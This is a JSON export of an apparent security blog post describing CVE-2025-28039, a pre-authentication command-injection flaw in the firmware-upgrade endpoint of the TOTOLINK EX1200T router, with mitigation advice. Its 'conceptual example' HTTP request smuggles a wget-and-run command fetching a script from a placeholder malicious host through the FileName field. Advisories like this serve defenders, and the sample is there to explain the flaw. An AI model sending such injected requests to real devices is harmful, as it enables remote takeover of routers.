{"id":33419,"date":"2025-04-29T00:52:17","date_gmt":"2025-04-29T00:52:17","guid":{"rendered":""},"modified":"2025-06-19T23:18:42","modified_gmt":"2025-06-20T05:18:42","slug":"cve-2025-28039-pre-auth-remote-command-execution-vulnerability-in-totolink-ex1200t","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-28039-pre-auth-remote-command-execution-vulnerability-in-totolink-ex1200t\/","title":{"rendered":"CVE-2025-28039: Pre-Auth Remote Command Execution Vulnerability in TOTOLINK EX1200T<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The cybersecurity landscape is fraught with evolving threats and vulnerabilities, one of which is the recently discovered CVE-2025-28039. This vulnerability affects TOTOLINK EX1200T V4.1.2cu.5232_B20210713 and could potentially lead to a pre-auth remote command execution. As such, it is a significant concern for network administrators, cybersecurity professionals, and users of TOTOLINK EX1200T<\/a> routers.
\nThis vulnerability matters because it can lead to system<\/a> compromise and data leakage. Given the severity score of 9.8, it poses a critical risk<\/a> that requires immediate attention and mitigation.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-28039
\nSeverity: Critical (9.8)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: System compromise and data<\/a> leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

TOTOLINK EX1200T<\/a> | V4.1.2cu.5232_B20210713<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The exploit takes advantage of a vulnerability in the setUpgradeFW function through the FileName parameter of TOTOLINK<\/a> EX1200T. Specifically, an attacker can execute arbitrary commands remotely<\/a> without requiring authentication. This is possible because of the lack of proper input validation<\/a> and sanitization in the FileName parameter used in firmware upgrades.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here is a conceptual example of how the vulnerability might be exploited<\/a>:<\/p>\n

POST \/setUpgradeFW HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/json\n{ \"FileName\": \"; wget http:\/\/malicious.com\/malicious_script.sh -O \/tmp\/malicious_script.sh; sh \/tmp\/malicious_script.sh;\" }<\/code><\/pre>\n
This code sends a POST request to the vulnerable<\/a> endpoint, injecting a command into the FileName parameter. The injected command downloads a malicious script from a remote server<\/a> and executes it on the target system, thus potentially compromising it.<\/p>\n
Mitigation Measures<\/strong><\/p>\n
The recommended mitigation measure for CVE-2025-28039 is to apply the vendor patch as soon as it’s available. In the meantime, network administrators can use Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) as temporary mitigation measures to help protect against potential<\/a> exploits. Regularly updating and patching your system, as well as employing strong security measures such as intrusion detection systems<\/a> and firewalls, can help protect your network from such vulnerabilities.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview The cybersecurity landscape is fraught with evolving threats and vulnerabilities, one of which is the recently discovered CVE-2025-28039. This vulnerability affects TOTOLINK EX1200T V4.1.2cu.5232_B20210713 and could potentially lead to a pre-auth remote command execution. As such, it is a significant concern for network administrators, cybersecurity professionals, and users of TOTOLINK EX1200T routers. This vulnerability […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-33419","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-rce"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t